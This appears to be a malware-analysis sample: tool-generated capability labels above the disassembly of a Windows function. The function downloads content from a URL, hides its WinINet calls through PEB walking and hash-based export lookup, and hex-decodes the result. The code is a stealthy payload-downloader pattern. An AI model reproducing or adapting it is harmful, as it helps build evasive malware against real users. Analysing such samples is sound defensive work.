Function at 0x140001f20
Capabilities:
Access peb ldr_data
Create http request
Encode data using xor
Get http content length
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp - 8], rax
mov r15, rdx
mov rsi, rcx
xor r14d, r14d
mov dword [rbp - 0x30], r14d
mov dword [rbp - 0x28], r14d
mov dword [rbp - 0x24], 4
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 1]
lea rcx, str.User_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
test rax, rax
jne 0x140001fb1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpen_failed._Error:
call fcn.1400049d0
mov rcx, rax
mov edx, ebx
call fcn.140002a00
mov rcx, rax
call fcn.140004cb0
xor eax, eax
jmp 0x140002626
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140002046
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002046
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xfb07378b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140002041
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140002020
cmp r8d, 0xe8804552
je 0x14000204b
test r9d, r9d
jne 0x140002000
mov rax, qword [rax]
jmp 0x140001fd0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, r13
call r10
mov r12, rax
test rax, rax
jne 0x14000216e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpenUrlA_failed._Error:
call fcn.1400049d0
mov rcx, rax
mov edx, ebx
call fcn.140002a00
mov rcx, rax
call fcn.140004cb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140002146
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140002146
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x721db92f
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140002141
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140002120
cmp r8d, 0xc8c47bd0
je 0x14000214b
test r9d, r9d
jne 0x140002100
mov rax, qword [rax]
jmp 0x1400020d0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, r13
call rax
xor eax, eax
jmp 0x140002626
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x24]
lea r8, [rbp - 0x30]
mov edx, 0x20000005
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
xorps xmm0, xmm0
mov eax, dword [rbp - 0x30]
add eax, 1
mov edi, eax
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov rsi, r14
je 0x140002200
cmp rdi, 0x1000
jb 0x1400021d8
lea rcx, [rax + 0x27]
cmp rcx, rdi
jbe 0x140002653
call fcn.140008e48
test rax, rax
je 0x14000264d
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400021e3
mov rcx, rdi
call fcn.140008e48
mov rsi, rax
mov qword [rbp - 0x20], rsi
lea rbx, [rsi + rdi]
mov qword [rbp - 0x10], rbx
mov r8, rdi
xor edx, edx
mov rcx, rsi
call fcn.140029cd0
mov qword [rbp - 0x18], rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140002296
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002296
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x1679be2a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140002291
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140002270
cmp r8d, 0x5d84d921
je 0x14000229b
test r9d, r9d
jne 0x140002250
mov rax, qword [rax]
jmp 0x140002220
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp - 0x2c]
mov r8d, dword [rbp - 0x30]
mov rdx, rsi
mov rcx, r12
call r10
test eax, eax
jne 0x1400022f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetReadFile_failed._Error:
call fcn.1400049d0
mov rcx, rax
mov edx, ebx
call fcn.140002a00
mov rcx, rax
call fcn.140004cb0
jmp 0x140002481
mov eax, dword [rbp - 0x2c]
test eax, eax
je 0x140002481
mov rdi, qword [rbp - 0x20]
mov byte [rax + rdi], 0
mov ebx, dword [rbp - 0x2c]
shr rbx, 1
mov rsi, qword [r15 + 8]
mov rdx, qword [r15]
mov rcx, rsi
sub rcx, rdx
cmp rbx, rcx
jae 0x140002324
lea rax, [rdx + rbx]
jmp 0x140002353
jbe 0x140002357
mov rax, qword [r15 + 0x10]
sub rax, rdx
cmp rbx, rax
jbe 0x14000233f
mov rdx, rbx
mov rcx, r15
call fcn.1400062c0
jmp 0x140002357
sub rbx, rcx
mov r8, rbx
xor edx, edx
mov rcx, rsi
call fcn.140029cd0
lea rax, [rsi + rbx]
mov qword [r15 + 8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140002370
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.140004e80
mov rbx, qword [r15]
mov r10, qword [rbp - 0x38]
mov r9, qword [rbp - 0x50]
mov r11, qword [rbp - 0x40]
test r11, r11
je 0x14000244a
mov r8, r14
cmp r10, 0xf
seta dil
nop dword [rax]
lea rax, [rbp - 0x50]
cmp r10, 0xf
cmova rax, r9
movzx ecx, byte [rax + r8]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x1400023cd
sub cl, 0x30
jmp 0x1400023e7
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x1400023d9
sub cl, 0x57
jmp 0x1400023e7
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x1400023e5
sub cl, 0x37
jmp 0x1400023e7
xor cl, cl
lea rax, [rbp - 0x50]
test dil, dil
cmovne rax, r9
movzx edx, byte [rax + r8 + 1]
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x140002404
sub dl, 0x30
jmp 0x14000241e
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x140002410
sub dl, 0x57
jmp 0x14000241e
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x14000241c
sub dl, 0x37
jmp 0x14000241e
xor dl, dl
shl cl, 4
add cl, dl
mov eax, r14d
test r14d, r14d
jns 0x14000242f
lea eax, [r14 + 1]
sar eax, 1
cdqe
mov byte [rax + rbx], cl
add r14d, 2
add r8, 2
movsxd rax, r14d
cmp rax, r11
jb 0x1400023b0
cmp r10, 0xf
jbe 0x140002481
lea rdx, [r10 + 1]
mov rax, r9
cmp rdx, 0x1000
jb 0x140002479
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002659
mov rcx, r9
call fcn.140008e40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140002516
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002516
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x454bd433
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140002511
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400024f0
cmp r8d, 0x3d3609e4
je 0x14000251b
test r9d, r9d
jne 0x1400024d0
mov rax, qword [rax]
jmp 0x1400024a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r12
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400025c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400025c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x484e1783
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400025c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400025a0
cmp r8d, 0x59fbc654
je 0x1400025cb
test r9d, r9d
jne 0x140002580
mov rax, qword [rax]
jmp 0x140002550
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r13
call rdx
mov ebx, dword [rbp - 0x2c]
shr rbx, 1
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140002623
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000261e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000264d
call fcn.140008e40
mov rax, rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140008e20
mov rbx, qword [rsp + 0xd0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140012074
int3
call fcn.1400012b0
nop
call fcn.140012074
nop
int3